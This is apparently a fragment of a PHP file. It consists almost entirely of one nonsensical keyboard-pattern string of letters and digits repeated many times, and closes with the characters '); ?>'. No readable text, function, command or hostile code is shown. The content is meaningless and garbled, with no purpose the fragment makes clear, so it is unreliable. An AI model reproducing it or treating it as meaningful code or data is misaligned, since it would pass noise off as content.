i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6y5h1ty6j5y1u6j5u1i6k51i6o5l1po6m5awq5w1as6x1zex65ze9fer8f4r98g7rt98g7ty89h7y98j7yu98k7ui98k798o7l98opmw1zd5x1c16ef51v6r51f6bv1g65b1t6hn1t6h51n6y1n6); ?>